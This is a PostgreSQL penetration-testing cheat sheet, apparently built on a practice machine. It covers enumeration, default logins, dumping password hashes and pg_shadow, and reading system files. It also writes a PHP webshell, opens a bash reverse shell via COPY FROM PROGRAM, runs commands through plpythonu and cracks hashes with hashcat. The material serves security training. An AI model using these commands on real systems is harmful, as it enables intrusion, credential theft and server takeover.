Pentesting PostgreSQL

Default Port: 5432

PostgreSQL (psql) is an open-source relational database system. It's commonly found in web applications, especially those using Python/Django, Ruby on Rails, and Java/Spring Boot frameworks.

---

Enumeration

Nmap Scripts

nmap -sV -p 5432 --script="pgsql-*" $ip

Banner Grabbing

nc -nv $ip 5432

---

Connecting to PostgreSQL

Using psql Client

# Basic connection
psql -h <host> -p 5432 -U <username> -d <database>

# With password in environment variable (avoids password prompt)
PGPASSWORD='password' psql -h 127.0.0.1 -p 5432 -U postgres -d cozyhosting

# Connect to default database
psql -h <host> -U postgres

# Connect via Unix socket (local)
psql -U postgres

Common Default Credentials

Username	Password
postgres	postgres
postgres	(empty)
admin	admin

---

Essential psql Commands

Navigation & Meta-Commands

Command	Description
\l or \list	List all databases
\c <database>	Connect to a database
\dt	List tables in current database
\dt+	List tables with size and description
\d <table>	Describe table structure (columns, types)
\d+ <table>	Describe table with extra info
\du	List users/roles
\dn	List schemas
\df	List functions
\x	Toggle expanded display (vertical output)
\q	Quit psql

Example Workflow

-- Connect with password
PGPASSWORD='Vg&nvzAQ7XxR' psql -h 127.0.0.1 -p 5432 -U postgres -d cozyhosting

-- List all databases
\l

-- Connect to a specific database
\c cozyhosting

-- List tables with sizes
\dt+

-- Output:
--  Schema | Name  | Type  |  Owner   | Size       | Description
-- --------+-------+-------+----------+------------+-------------
--  public | hosts | table | postgres | 8192 bytes |
--  public | users | table | postgres | 8192 bytes |

-- Describe table structure
\d users

-- Output:
--   Column  |          Type          | Nullable | Default
-- ----------+------------------------+----------+---------
--  name     | character varying(50)  | not null |
--  password | character varying(100) | not null |
--  role     | role                   |          |

-- Enable expanded display for better readability
\x

-- Query data
SELECT * FROM users;

-- Output (expanded):
-- -[ RECORD 1 ]----------------------------------------------------------
-- name     | kanderson
-- password | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
-- role     | User
-- -[ RECORD 2 ]----------------------------------------------------------
-- name     | admin
-- password | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
-- role     | Admin

-- Quit
\q

---

Extracting Data

Dumping Users and Passwords

-- Get all users
SELECT * FROM users;

-- Get usernames and passwords specifically  
SELECT name, password FROM users;

-- Get PostgreSQL database users
SELECT usename, passwd FROM pg_shadow;

Searching for Sensitive Data

-- Search for password columns across all tables
SELECT table_name, column_name 
FROM information_schema.columns 
WHERE column_name LIKE '%pass%' OR column_name LIKE '%secret%' OR column_name LIKE '%key%';

-- Search for specific data
SELECT * FROM users WHERE role = 'Admin';

---

File Operations (Requires Superuser)

Reading Files

-- Read a file
SELECT pg_read_file('/etc/passwd');

-- Using COPY
CREATE TABLE temp(content text);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp;

Writing Files

-- Write to a file
COPY (SELECT 'test') TO '/tmp/test.txt';

-- Write webshell
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

---

Command Execution

Using COPY FROM PROGRAM (PostgreSQL 9.3+)

-- Execute system commands
COPY cmd_output FROM PROGRAM 'id';

-- Reverse shell
COPY cmd_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.10/4444 0>&1"';

Using Extensions

-- Check if plpythonu is available
CREATE EXTENSION plpythonu;

-- Execute Python code
CREATE OR REPLACE FUNCTION exec_cmd(cmd text)
RETURNS text AS $$
import subprocess
return subprocess.check_output(cmd, shell=True).decode()
$$ LANGUAGE plpythonu;

SELECT exec_cmd('id');

---

Cracking PostgreSQL Hashes

PostgreSQL password hashes are typically bcrypt ($2a$, $2b$, $2y$).

# Identify hash type
hashcat --identify hash.txt

# The following hash-modes match:
# 3200 | bcrypt $2*$, Blowfish (Unix)

# Crack with hashcat
hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

# Example hash
# $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited

---

Privilege Escalation

Check Current User Privileges

-- Check if superuser
SELECT current_user, 
       (SELECT usesuper FROM pg_user WHERE usename = current_user) as is_superuser;

-- List user privileges
\du

PostgreSQL to System Shell

If PostgreSQL is running as root or has SUID, check for privilege escalation:

# Check PostgreSQL process
ps aux | grep postgres

# Check psql history for credentials
cat /var/lib/postgresql/.psql_history

---

Useful Resources

• https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-postgresql.html

• https://www.postgresql.org/docs/current/app-psql.html